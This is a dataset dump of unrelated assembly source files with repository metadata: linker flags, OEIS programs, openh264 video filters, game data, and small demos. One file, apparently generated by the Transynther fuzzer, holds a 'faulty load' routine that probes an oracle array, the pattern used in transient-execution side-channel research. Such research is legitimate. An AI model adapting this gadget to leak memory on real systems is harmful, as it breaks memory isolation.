WARN_LIB_DUPS ;56 EXEPACK IF OS2DLL ; DB 00000000B ; ;65 CV_WARNINGS ;64 NT_HOST_FLAG ; FLAG_LEN EQU $-CFLAGS DD 132 DD 60 NEW_CV_TYPE DB 4 DB 1 ;CASE_TYPE preserve-ignore DB 3 ;DEFAULT TURBODEBUGGER DATA TYPE DB 0 ;XTRA DD 65500 ;DEFAULT PACK SIZE DB 'Copyright (C) Digital Mars 1990-2004. All rights reserved.' if fg_td PUBLIC TFLAGS TFLAGS DB 00000000B ; ;7 DO_CHECKSUMING ;6 ABORT_ON_CHECKSUM ;5 SYMBOLS_OUT ;4 XREF_OUT ;3 CMDLINE_FREEFORMAT ;2 STACK_GROUP_FLAG ;1 DOSSEG_FLAG ;0 TD_FLAG ; DB 11000000B ; ;15 PACKFUNCTIONS_FLAG ;14 DEFAULTLIBRARYSEARCH_FLAG ;13 PRINT_GROUP ;12 LINENUMBERS_FLAG ;11 EXEPACK_FLAG ;10 INFORMATION_FLAG ;9 PAUSE_FLAG ;8 ECHO_INDIRECT ; DB 11100100B ; ;23 PACKCODE_NO_SEGMENTS ;22 PACKCODE_FLAG ;21 FARCALLTRANSLATION_FLAG ;20 BATCH_FLAG ;19 CODEVIEW_FLAG ;18 GROUPASSOCIATION_FLAG ;17 DELETE_EXE_ON_ERROR ;16 $$SLR_CODE_FIRST ; DB 10001110B ; ;31 HANDLE_EXE_ERRORFLAG ;30 NODOSSEG_FLAG ;29 ERROR_NOT_REFERENCED ;28 SCAN_LINK_ENVIRONMENT ;27 ALPHA_ORDER_ALSO ;26 CHECK_LO_BYTE ;25 ECHO_ANY ;24 PRESERVE_IMPEXP_CASE ; DB 00000001B ; ;39 FORCE_EMS_32 ;38 TRIED_EMS ;37 TRIED_XMS ;36 TRIED_UMB ;35 NOFARCALLTRANSLATE ;34 NOPACKCODE ;33 PACKDATA ;32 NULLSDOSSEG ; DB 01001111B ; ;47 DOTS_FLAG ;46 IGNORE_DUP_STARTS ;45 FIXDS_FLAG ;44 DETAILEDMAP_FLAG ;43 PLUS_FOUND ;42 LOGO_OUTPUT ;41 CHECK_RELOCATIONS ;40 EMS_IO_LEGAL ; DB 00000100B ; ;55 EXEPACK_IF_WINDLL ;54 EXEPACK_IF_OS2APP ;53 EXEPACK_IF_WINAPP ;52 EXEPACK_IF_DOSAPP ;51 ROOT_ENVIRONMENT_LEGAL ;50 ALLOW_WINDOWS_EXEPACK ;49 REORDER_ALLOWED ;48 DUP_MODNAMES_PLEASE ; DB 11101000B ; ;63 CMDLINE_FINAL ;62 COMDEF_SEARCH ;61 CVPACK_FLAG ;60 SCAN_LIB_ENVIRONMENT ;59 LIB_NOT_FOUND_FATAL ;58 PREV_DEF_IS_ERROR ;57 WARN_LIB_DUPS ;56 EXEPACK IF OS2DLL ; DB 00000000B ; ;65 CV_WARNINGS ;64 NT_HOST_FLAG ; TFLAG_LEN EQU $-TFLAGS .ERRNZ TFLAG_LEN - FLAG_LEN DD 132 ;PAGEWIDTH DD 60 ;PAGELENGTH DB 4 ;CODEVIEW TYPE DB 2 ;CASE_TYPE UPPER DB 3 ;DEFAULT TURBODEBUGGER DATA TYPE DB 0 ;XTRA DD 8192 ;DEFAULT PACK SIZE endif PATCH LABEL BYTE ROOT_RET PROC RET ROOT_RET ENDP END
16.359375
66
0.723973
17d36ff20e9fd8e319c868063f27b05b117b0194
180
asm
Assembly
programs/oeis/076/A076121.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/076/A076121.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/076/A076121.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A076121: Complete list of possible cribbage hands. ; 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,21,22,23,24,28,29 mov $1,$0 sub $0,7 trn $0,7 div $0,5 pow $0,2 add $0,$1
18
69
0.633333
19ae11240566328ff133b43ac0b6fb4400fcb6b3
6,226
asm
Assembly
processing/src/asm/denoisefilter.asm
TechSmith/openh264
5d616714c4cdd30287e2c6a8aa485c2fc6c68b84
[ "BSD-2-Clause" ]
1
2016-12-06T07:56:36.000Z
2016-12-06T07:56:36.000Z
processing/src/asm/denoisefilter.asm
3990995/openh264
f2aa3c75ae8a3d41ef85be739752d3f189c7eea3
[ "BSD-2-Clause" ]
null
null
null
processing/src/asm/denoisefilter.asm
3990995/openh264
f2aa3c75ae8a3d41ef85be739752d3f189c7eea3
[ "BSD-2-Clause" ]
null
null
null
;*! ;* \copy ;* Copyright (c) 2010-2013, Cisco Systems ;* All rights reserved. ;* ;* Redistribution and use in source and binary forms, with or without ;* modification, are permitted provided that the following conditions ;* are met: ;* ;* * Redistributions of source code must retain the above copyright ;* notice, this list of conditions and the following disclaimer. ;* ;* * Redistributions in binary form must reproduce the above copyright ;* notice, this list of conditions and the following disclaimer in ;* the documentation and/or other materials provided with the ;* distribution. ;* ;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ;* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS ;* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE ;* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, ;* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ;* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ;* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ;* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ;* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ;* POSSIBILITY OF SUCH DAMAGE. ;* ;* ;* predenoise.asm ;* ;* Abstract ;* denoise for SVC2.1 ;* History ;* 4/13/2010 Created ;* 7/30/2010 Modified ;* ;* ;*************************************************************************/ %include "asm_inc.asm" ;*********************************************************************** ; Constant ;*********************************************************************** SECTION .rodata align=16 sse2_32 times 8 dw 32 sse2_20 times 8 dw 20 BITS 32 ;*********************************************************************** ; Code ;*********************************************************************** SECTION .text %macro WEIGHT_LINE 9 movq %2, %9 punpcklbw %2, %7 movdqa %8, %2 movdqa %1, %6 psubusb %1, %8 psubusb %8, %6 por %8, %1 ; ABS(curPixel - centerPixel); movdqa %1, %3 psubusb %1, %8 pmullw %1, %1 psrlw %1, 5 pmullw %2, %1 paddusw %4, %1 paddusw %5, %2 %endmacro %macro WEIGHT_LINE1_UV 4 movdqa %2, %1 punpcklbw %2, %4 paddw %3, %2 movdqa %2, %1 psrldq %2, 1 punpcklbw %2, %4 paddw %3, %2 movdqa %2, %1 psrldq %2, 2 punpcklbw %2, %4 psllw %2, 1 paddw %3, %2 movdqa %2, %1 psrldq %2, 3 punpcklbw %2, %4 paddw %3, %2 movdqa %2, %1 psrldq %2, 4 punpcklbw %2, %4 paddw %3, %2 %endmacro %macro WEIGHT_LINE2_UV 4 movdqa %2, %1 punpcklbw %2, %4 paddw %3, %2 movdqa %2, %1 psrldq %2, 1 punpcklbw %2, %4 psllw %2, 1 paddw %3, %2 movdqa %2, %1 psrldq %2, 2 punpcklbw %2, %4 psllw %2, 2 paddw %3, %2 movdqa %2, %1 psrldq %2, 3 punpcklbw %2, %4 psllw %2, 1 paddw %3, %2 movdqa %2, %1 psrldq %2, 4 punpcklbw %2, %4 paddw %3, %2 %endmacro %macro WEIGHT_LINE3_UV 4 movdqa %2, %1 punpcklbw %2, %4 psllw %2, 1 paddw %3, %2 movdqa %2, %1 psrldq %2, 1 punpcklbw %2, %4 psllw %2, 2 paddw %3, %2 movdqa %2, %1 psrldq %2, 2 punpcklbw %2, %4 pmullw %2, [sse2_20] paddw %3, %2 movdqa %2, %1 psrldq %2, 3 punpcklbw %2, %4 psllw %2, 2 paddw %3, %2 movdqa %2, %1 psrldq %2, 4 punpcklbw %2, %4 psllw %2, 1 paddw %3, %2 %endmacro ALIGN 16 WELS_EXTERN BilateralLumaFilter8_sse2 ;*********************************************************************** ; BilateralLumaFilter8_sse2(uint8_t *pixels, int stride); ;*********************************************************************** ; 1 2 3 ; 4 0 5 ; 6 7 8 ; 0: the center point %define pushsize 4 %define pixel esp + pushsize + 4 %define stride esp + pushsize + 8 BilateralLumaFilter8_sse2: push ebx pxor xmm7, xmm7 mov eax, [pixel] mov ebx, eax movq xmm6, [eax] punpcklbw xmm6, xmm7 movdqa xmm3, [sse2_32] pxor xmm4, xmm4 ; nTotWeight pxor xmm5, xmm5 ; nSum dec eax mov ecx, [stride] WEIGHT_LINE xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm0, [eax] ; pixel 4 WEIGHT_LINE xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm0, [eax + 2] ; pixel 5 sub eax, ecx WEIGHT_LINE xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm0, [eax] ; pixel 1 WEIGHT_LINE xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm0, [eax + 1] ; pixel 2 WEIGHT_LINE xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm0, [eax + 2] ; pixel 3 lea eax, [eax + ecx * 2] WEIGHT_LINE xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm0, [eax] ; pixel 6 WEIGHT_LINE xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm0, [eax + 1] ; pixel 7 WEIGHT_LINE xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm7, xmm0, [eax + 2] ; pixel 8 pcmpeqw xmm0, xmm0 psrlw xmm0, 15 psllw xmm0, 8 psubusw xmm0, xmm4 pmullw xmm0, xmm6 paddusw xmm5, xmm0 psrlw xmm5, 8 packuswb xmm5, xmm5 movq [ebx], xmm5 pop ebx ret WELS_EXTERN WaverageChromaFilter8_sse2 ;*********************************************************************** ; void WaverageChromaFilter8_sse2(uint8_t *pixels, int stride); ;*********************************************************************** ;5x5 filter: ;1 1 2 1 1 ;1 2 4 2 1 ;2 4 20 4 2 ;1 2 4 2 1 ;1 1 2 1 1 ALIGN 16 WaverageChromaFilter8_sse2: mov edx, [esp + 4] ; pixels mov ecx, [esp + 8] ; stride mov eax, ecx add eax, eax sub edx, eax ; pixels - 2 * stride sub edx, 2 pxor xmm0, xmm0 pxor xmm3, xmm3 movdqu xmm1, [edx] WEIGHT_LINE1_UV xmm1, xmm2, xmm3, xmm0 movdqu xmm1, [edx + ecx] WEIGHT_LINE2_UV xmm1, xmm2, xmm3, xmm0 add edx, eax movdqu xmm1, [edx] WEIGHT_LINE3_UV xmm1, xmm2, xmm3, xmm0 movdqu xmm1, [edx + ecx] WEIGHT_LINE2_UV xmm1, xmm2, xmm3, xmm0 movdqu xmm1, [edx + ecx * 2] WEIGHT_LINE1_UV xmm1, xmm2, xmm3, xmm0 psrlw xmm3, 6 packuswb xmm3, xmm3 movq [edx + 2], xmm3 ret
23.673004
83
0.560071
25c569d82e012773c448af03dda6d5f1bc00f68a
308
asm
Assembly
data/mapHeaders/ViridianPokecenter.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/mapHeaders/ViridianPokecenter.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/mapHeaders/ViridianPokecenter.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
ViridianPokecenter_h: db POKECENTER ; tileset db VIRIDIAN_POKECENTER_HEIGHT, VIRIDIAN_POKECENTER_WIDTH ; dimensions (y, x) dw ViridianPokecenter_Blocks ; blocks dw ViridianPokecenter_TextPointers ; texts dw ViridianPokecenter_Script ; scripts db 0 ; connections dw ViridianPokecenter_Object ; objects
34.222222
77
0.834416
85aae940e39e8f82b18253d20fc4ca8ffa963834
1,885
asm
Assembly
func.asm
yweweler/fixed-point-number
4ebdd47f0b1b1a25d740c3a38536a797ed16eab3
[ "MIT" ]
null
null
null
func.asm
yweweler/fixed-point-number
4ebdd47f0b1b1a25d740c3a38536a797ed16eab3
[ "MIT" ]
null
null
null
func.asm
yweweler/fixed-point-number
4ebdd47f0b1b1a25d740c3a38536a797ed16eab3
[ "MIT" ]
null
null
null
section .data section .text global hemming_dist ; proto: int, int global build_stack_frame_manual ; proto: - global build_stack_frame_auto ; proto: - hemming_dist: ;; Calculate Hamming distance between two integers ;; Implemented using population count instruction ;; from the SSE4 instruction set. ;; ;; Arguments: ;; - rdi: 64 Bit integer ;; - rsi: 64 Bit integer ;; ;; Returns: 64 Bit integer mov rax, rdi xor rax, rsi popcnt rax, rax ret ;; --------------------------------------------------- build_stack_frame_manual: ;; Manualy set up a stack-frame ;; ;; Tends to be ~25% faster than automatic set up. ;; But needs more space. push rbp ; save base pointer mov rbp, rsp ; make stack-pointer new base pointer sub rsp, 4 ; reserve 4 bytes on stack ; ... mov rsp, rbp ; restore stack pointer pop rbp ; restore base pointer ;; --------------------------------------------------- build_stack_frame_auto: ;; Automatically set up a stack-frame ;; ;; Tends to be ~25% slower than manual set up. ;; But needs less space. ;; Tests showed, taht gcc generates the manual set up ;; process for the function prologue, but creates the ;; automatic method for function epilouge. enter 4, 0 ; create stack frame, reserve 4 bytes ; ... leave ; clean up stack frame ;; --------------------------------------------------- xor_swap: ;; XOR based variable swapping implementation ;; ;; Results showed that XOR swapping two values is ;; horrifyingly slow. Because all steps have dependencies, ;; a parallel execution is not possible and hence blocks. cmp rdi, rsi je _equal mov rax, rdi xor rax, rsi xor rsi, rax xor rax, rsi _equal: ret ;; ---------------------------------------------------
25.133333
59
0.575066
5bc8cc971b2b106531643ddf2c6cb71d20a717f8
934
asm
Assembly
cards/bn5/ItemCards/136-F013 Tensuke's Grandson's New Year Gift.asm
RockmanEXEZone/MMBN-Mod-Card-Kit
d591ddca5566dbb323dc19c11e69410fa4073d1b
[ "Unlicense" ]
10
2017-12-05T14:25:38.000Z
2022-02-21T04:28:00.000Z
cards/bn5/ItemCards/136-F013 Tensuke's Grandson's New Year Gift.asm
RockmanEXEZone/MMBN-Mod-Card-Kit
d591ddca5566dbb323dc19c11e69410fa4073d1b
[ "Unlicense" ]
null
null
null
cards/bn5/ItemCards/136-F013 Tensuke's Grandson's New Year Gift.asm
RockmanEXEZone/MMBN-Mod-Card-Kit
d591ddca5566dbb323dc19c11e69410fa4073d1b
[ "Unlicense" ]
null
null
null
.include "defaults_item.asm" table_file_jp equ "exe5-utf8.tbl" table_file_en equ "bn5-utf8.tbl" game_code_len equ 3 game_code equ 0x4252424A // BRBJ game_code_2 equ 0x42524245 // BRBE game_code_3 equ 0x42524250 // BRBP card_type equ 0 card_id equ 33 card_no equ "033" card_sub equ "Item Card 033" card_sub_x equ 62 card_desc_len equ 3 card_desc_1 equ "Tensuke's" card_desc_2 equ "Grandson's" card_desc_3 equ "New Year Gift" card_name_jp_full equ "匠転助の孫へのお年玉" card_name_jp_game equ "たくみてんすけのマゴへのお年玉" card_name_en_full equ "Tensuke's Grandson's New Year Gift" card_name_en_game equ "Tensuke's Grandson's New Year Gift" card_game_desc_jp_len equ 2 card_game_desc_jp_1 equ "たくみてんすけのマゴへのお年玉!" card_game_desc_jp_2 equ "10000Zを手に入れた!" card_game_desc_jp_3 equ "" card_game_desc_en_len equ 3 card_game_desc_en_1 equ "Tensuke's grandson's" card_game_desc_en_2 equ "New Year gift!" card_game_desc_en_3 equ "Got 10000 Zennys!"
31.133333
58
0.801927
ab1cf5d9291c741b6e19963ca5224602e5342e14
439
asm
Assembly
oeis/332/A332163.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/332/A332163.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/332/A332163.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A332163: a(n) = 6*(10^(2*n+1)-1)/9 - 3*10^n. ; Submitted by Jamie Morken(s2) ; 3,636,66366,6663666,666636666,66666366666,6666663666666,666666636666666,66666666366666666,6666666663666666666,666666666636666666666,66666666666366666666666,6666666666663666666666666,666666666666636666666666666,66666666666666366666666666666,6666666666666663666666666666666 add $0,1 mov $1,10 pow $1,$0 sub $1,2 mul $1,2 bin $1,2 mov $0,$1 div $0,90 mul $0,3
31.357143
273
0.792711
17c4b1f5b7d90cf3eda41f202d884b8568b21962
109
asm
Assembly
asm_compare/compare.asm
nitrojacob/8051
d9a5b266a064ad0eff0dc57284b9a3fcd7cd32e6
[ "MIT" ]
null
null
null
asm_compare/compare.asm
nitrojacob/8051
d9a5b266a064ad0eff0dc57284b9a3fcd7cd32e6
[ "MIT" ]
null
null
null
asm_compare/compare.asm
nitrojacob/8051
d9a5b266a064ad0eff0dc57284b9a3fcd7cd32e6
[ "MIT" ]
null
null
null
mov A, 0x70 mov R0, 0x71 subb A, R0 jc mov_1 mov 0x72, 0x71 jmp end mov_1: mov 0x72, 0x70 end: jmp end
12.111111
21
0.669725
c077435993d022f91652f1a581620ef5a3f5a026
8,719
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_un_4k_sm_/i7-7700_9_0x48.log_21829_866.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_un_4k_sm_/i7-7700_9_0x48.log_21829_866.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_un_4k_sm_/i7-7700_9_0x48.log_21829_866.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x387e, %rsi lea addresses_normal_ht+0x2ebe, %rdi clflush (%rsi) nop nop nop nop mfence mov $37, %rcx rep movsl nop nop and %rsi, %rsi lea addresses_WT_ht+0x6d62, %r9 nop nop nop nop nop inc %r14 movb (%r9), %dl nop nop nop nop cmp %r9, %r9 lea addresses_WT_ht+0x3cde, %rdx nop nop xor %r14, %r14 movw $0x6162, (%rdx) lfence lea addresses_normal_ht+0x1991a, %rbp and $17505, %r14 movb (%rbp), %dl nop nop nop nop nop add %rsi, %rsi lea addresses_D_ht+0x74fe, %rbp nop nop nop nop xor %rcx, %rcx mov $0x6162636465666768, %rsi movq %rsi, %xmm5 and $0xffffffffffffffc0, %rbp movaps %xmm5, (%rbp) nop inc %r9 lea addresses_WC_ht+0x4936, %rsi lea addresses_UC_ht+0x9027, %rdi nop nop nop and $24040, %rbp mov $4, %rcx rep movsq nop nop nop nop sub $33139, %r14 lea addresses_UC_ht+0x2c9e, %rsi lea addresses_normal_ht+0xf87e, %rdi dec %r12 mov $38, %rcx rep movsl nop nop nop nop dec %r14 lea addresses_WC_ht+0x1692e, %rcx nop nop nop nop nop sub %rdx, %rdx vmovups (%rcx), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rsi nop nop nop dec %rdx lea addresses_WT_ht+0x96ae, %rsi lea addresses_D_ht+0x1347e, %rdi clflush (%rsi) sub $54642, %r14 mov $23, %rcx rep movsb nop nop sub %rcx, %rcx lea addresses_WC_ht+0x1404e, %r9 and %rcx, %rcx vmovups (%r9), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %r14 nop sub %r9, %r9 lea addresses_D_ht+0x1a5de, %r14 nop nop xor %rsi, %rsi mov (%r14), %cx xor $49694, %rcx lea addresses_D_ht+0x159fe, %r9 nop nop nop nop cmp %rdx, %rdx vmovups (%r9), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %r14 nop nop and $1237, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %r9 push %rbp push %rbx push %rdx // Load mov $0xbe, %rbx nop nop inc %r8 movb (%rbx), %r14b nop sub %rbx, %rbx // Store lea addresses_UC+0x3919, %rdx nop nop nop inc %rbp mov $0x5152535455565758, %r14 movq %r14, (%rdx) nop nop nop nop add %rbp, %rbp // Store lea addresses_UC+0x10c7e, %r9 nop add $27638, %rbp movw $0x5152, (%r9) sub $56591, %rbx // Store lea addresses_D+0x1f424, %r9 and %rbp, %rbp movw $0x5152, (%r9) nop nop cmp $45064, %rbx // Load lea addresses_WT+0xa37e, %r15 nop dec %r9 mov (%r15), %dx nop cmp $44666, %r15 // Load lea addresses_normal+0x1bcbe, %r14 nop nop nop nop dec %r8 mov (%r14), %rbp nop nop nop nop nop sub %r15, %r15 // Store lea addresses_WC+0x11c7e, %r9 nop nop nop nop sub %r15, %r15 movl $0x51525354, (%r9) nop add $10521, %r15 // Faulty Load lea addresses_UC+0x10c7e, %rbx sub %r15, %r15 mov (%rbx), %r14 lea oracles, %r9 and $0xff, %r14 shlq $12, %r14 mov (%r9,%r14,1), %r14 pop %rdx pop %rbx pop %rbp pop %r9 pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': True, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 1, 'size': 1, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'52': 66, '0a': 1, '7a': 1, '7c': 1, '96': 1, '54': 21758, '74': 1} 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 52 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 52 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 